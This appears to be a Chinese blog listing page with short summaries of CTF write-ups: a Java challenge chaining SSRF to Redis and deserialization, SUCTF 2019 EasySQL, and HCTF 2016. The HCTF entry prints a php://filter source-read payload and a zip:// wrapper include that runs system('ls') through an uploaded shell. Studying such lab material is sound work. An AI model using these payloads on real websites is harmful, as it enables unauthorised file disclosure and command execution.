2021年1月10日
java 文件读取
摘要： show me she shell 这是一道tomato师傅出的不完整的java题，java…，java…我恨java┑(￣Д ￣)┍ 这是一个题目一是列目录+任意文件读取， 二是垂直越权+CLRF配SSRF打redis+反序列化命令执行 题目的难度在于代码本身的不完整和java，没办法实际测试，所 阅读全文
posted @ 2021-01-10 23:38 PointerK 阅读(255) 评论(0) 推荐(0)
[SUCTF 2019]EasySQL
摘要： 原文链接 -http://www.xianxianlabs.com/blog/2020/05/27/355.html 阅读全文
posted @ 2021-01-10 22:08 PointerK 阅读(68) 评论(0) 推荐(0)
Hctf 2016 兵者多诡
摘要： 很好的利用了php协议 ?fp=php://filter/convert.base64-encode/resource=home ?fp=zip://uploads/515969bfe90c2f52fbcd7e5818e8688b681eea4e.png%23shell&a=system&b=ls 阅读全文
posted @ 2021-01-10 14:00 PointerK 阅读(811) 评论(0) 推荐(0)